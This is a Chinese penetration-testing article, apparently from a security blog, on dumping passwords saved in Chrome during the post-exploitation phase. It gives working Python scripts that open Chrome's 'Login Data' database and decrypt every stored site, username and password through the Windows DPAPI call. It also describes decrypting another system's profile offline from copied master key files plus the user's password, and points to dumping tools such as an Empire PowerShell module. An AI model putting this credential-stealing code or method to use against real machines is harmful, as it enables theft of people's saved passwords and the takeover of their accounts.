當前位置:
首頁 > 新聞 > 滲透技巧——導出Chrome瀏覽器中保存的密碼

滲透技巧——導出Chrome瀏覽器中保存的密碼

0x00 前言

在後滲透階段,獲得許可權後需要搜集目標系統的信息。信息越全面,越有助於進一步的滲透。對於Windows系統,用戶瀏覽器往往包含有價值的信息。

在之前的文章《本地密碼查看工具LaZagne中的自定義腳本開發》曾介紹過利用LaZagne導出多個瀏覽器密碼的方法。

本文將要針對Chrome瀏覽器,介紹具體的導出原理和利用方法,解決一個實際問題: 如何導出另一系統下Chrome瀏覽器中保存的密碼?

0x01 簡介

本文將要介紹以下內容:

·Chrome瀏覽器保存密碼的方式

·如何導出Chrome瀏覽器中保存的密碼

·常用方法的限制

·如何導出另一系統下Chrome瀏覽器中保存的密碼

0x02 Chrome瀏覽器保存密碼的方式

正常用戶在訪問網站時,可選擇使用Chrome瀏覽器保存登錄的用戶密碼,用於下次登錄的時候Chrome自動填寫登錄密碼,如下圖

在Chrome中可以查看保存的登錄密碼(需要提供用戶口令),如下圖

Chrome中保存的密碼先被二次加密,然後被保存在SQLite資料庫文件中,位置如下:

%LocalAppData%GoogleChromeUser DataDefaultLogin Data

實際測試:

測試系統: Win7x86

Chrome版本: 63.0.3239.132

定位SQLite資料庫文件,位於C:UsersaAppDataLocalGoogleChromeUser DataDefaultLogin Data

使用工具讀取資料庫文件,測試工具: SQLiteStudio

下載地址:

https://sqlitestudio.pl/index.rvt

註:

SQLiteStudio開源,特點是支持查看十六進位數據(SQLiteSpy不支持查看十六進位數據)

成功讀取資料庫文件保存的信息,但password段無法顯示,如下圖

選擇Form view,查看十六進位格式,獲得二次加密後的用戶密碼,如下圖

註:

如果Chrome正在運行,無法使用SQLiteStudio打開資料庫文件Login Data,可將該文件複製後再打開

0x03 導出Chrome瀏覽器中保存的密碼

首先,編寫程序實現讀取SQLite資料庫文件,這裡選擇使用python實現

開源代碼很多,所以這裡只給出一個示例

from os import getenv

import sqlite3

import binascii

conn = sqlite3.connect(getenv("APPDATA") + "..LocalGoogleChromeUser DataDefaultLogin Data")

cursor = conn.cursor()

cursor.execute("SELECT action_url, username_value, password_value FROM logins")

for result in cursor.fetchall():

print (binascii.b2a_hex(result[2]))

獲得二次加密的用戶密碼,如下圖

參考Chromium開源代碼,找到Chrome做二次加密的方法:通過Windows API CryptProtectData()實現

參考加密代碼:

https://github.com/scheib/chromium/blob/eb7e2441dd8878f733e43799ea77c2bab66816d3/chrome/browser/password_manager/password_store_win_unittest.cc#L107

CryptProtectData()的說明可參考:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

獲得關鍵信息:

(1)對應解密函數為CryptUnprotectData

參考地址:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx

(2)只有與加密數據的用戶具有相同登錄憑據的用戶才能解密數據

也就是說,只能在當前用戶的憑據下解密數據

解密的開源代碼也有很多,這裡給出一個示例:

from os import getenv

import sqlite3

import win32crypt

import binascii

conn = sqlite3.connect(getenv("APPDATA") + "..LocalGoogleChromeUser DataDefaultLogin Data")

cursor = conn.cursor()

cursor.execute("SELECT action_url, username_value, password_value FROM logins")

for result in cursor.fetchall():

password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]

print password

註:

調用win32crypt.CryptUnprotectData需要安裝pywin32

下載地址:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe

執行後,還原用戶密碼,如下圖

註:

如果Chrome正在運行,無法查詢資料庫文件Login Data,顯示sqlite3.OperationalError: database is locked

綜上,在實際導出的過程中,如果Chrome正在運行,需要先複製資料庫文件,再嘗試解密

0x04 如何導出另一系統下Chrome瀏覽器中保存的密碼

參照CryptProtectData()的說明,地址如下:

https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx

「Usually, the only user who can decrypt the data is a user with the

same logon credentials as the user who encrypted the data.In addition,

the encryption and decryption must be done on the same computer. 「

是否可以斷定,無法在另一系統下導出Chrome瀏覽器中保存的密碼呢?

答案是否定的

Chrome密碼還原工具chromepass提供了一個特別的功能: Reading ChromePass passwords from external drive

chromepass下載地址:

http://www.nirsoft.net/utils/chromepass.html

說明如下:

「you can also read the passwords stored by Chrome Web browser from an

external profile in your current operating system or from another

external drive」

也就是說,使用chromepass能夠導出當前系統下另一用戶的Chrome密碼

操作界面如下圖

既然如此,如果獲得了另一系統下的相關配置文件,能否導出Chrome瀏覽器中保存的密碼呢?

當然可以

解密需要獲得三部分內容:

1.加密密鑰,位於%appdata%MicrosoftProtect下對應sid文件夾下的文件

2.資料庫文件Login Data

3.用戶明文的密碼,用於解密加密密鑰

由於chromepass程序的設計問題,以上文件需要組成特定格式,子目錄格式如下:

1.AppDataLocalGoogleChromeUser DataDefaultLogin Data

2.AppDataRoamingMicrosoftProtect}下保存key文件

註:

必須同原系統的對應

eg.

AppDataLocalGoogleChromeUser DataDefaultLogin Data

AppDataRoamingMicrosoftProtectS-1-5-21-3453529135-4164765056-1075703908-1001329c4147-0011-4ad6-829d-e32dcbd1bbd7

如下圖

使用chromepass選擇該目錄,填入用戶明文密碼,如下圖

成功解密,如下圖

0x05 開源工具

解密當前系統下Chrome瀏覽器中保存的密碼,可供參考的工具:

1.命令行工具Chrome Password Dump,下載地址:

http://securityxploded.com/chrome-password-dump.php

2.powershell實現的工具:

https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-ChromeDump.ps1

3.python實現代碼,可供參考的開源代碼:

from os import getenv

import sqlite3

import win32crypt

import binascii

conn = sqlite3.connect(getenv("APPDATA") + "..LocalGoogleChromeUser DataDefaultLogin Data")

cursor = conn.cursor()

cursor.execute("SELECT action_url, username_value, password_value FROM logins")

for result in cursor.fetchall():

password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]

if password:

print "Site: " + result[0]

print "Username: " + result[1]

print "Password: " + password

else:

print "no password found"

0x06 小結

本文介紹了導出Chrome瀏覽器密碼的原理和利用方法,成功解決一個實際問題: 通過加密密鑰文件和用戶明文密碼,能夠導出另一系統下Chrome瀏覽器中保存的密碼

如果只獲得了用戶密碼hash,能否導出呢?


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

如何在macOS或iOS環境中加密任意郵件

TAG:嘶吼RoarTalk |